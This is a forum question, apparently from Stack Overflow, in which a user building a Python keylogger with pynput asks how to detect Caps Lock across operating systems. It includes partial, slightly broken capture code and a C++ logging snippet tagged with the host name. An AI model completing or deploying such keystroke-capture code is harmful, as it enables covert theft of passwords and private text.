0

I am creating a keylogger in python for testing, and it occurred to me the following issue / question:

"I need to check if CAPS Lock is active or inactive, and thus generate this difference in the user keylog, but how to do it?". In C++ I know I could change the key in ASCII to convert the key to uppercase / lowercase:


//Ex.:

if (! isCapsON) {//
     appendKeyLog (key, hostName); // Caps by default when caps is not active
} else {
     appendKeyLog ((byte) (key + 32), hostName) // Uppercase char + 32 � lowercase in ascii
}

I thought of simulating a random key on the user keyboard and checking the value in ASCII to detect if the CAPS key is active or not, and then setting isCaps = True / False. However, I have no idea how I could accomplish this, and when searching on, I just found ways to detect for linux, using subproccess and other python libs.

PS.: I'm using Debian Stretch, but I want to support any OS (or the most used ones)

Currently, to capture the keys I am using the pynput library as follows:

import pynput
from pynput.keyboard import Key, Listener

def key_key (key):

     format_key = str (key) #Convert key to string

     if key == Key.enter:
         write_logs ("\ n")

     elif key == Key.esc:
         write_logs ("[Esc]")

     else:
         write_logs (format_key [2]) #Capture only the value between single quotation marks (generated value is u '[keypress]')

#Initialize Keylogger
with Listener (on_press = catch_key) as listen:
     listen.join ()
Murilo Melo
  • 101
  • 4

0 Answers0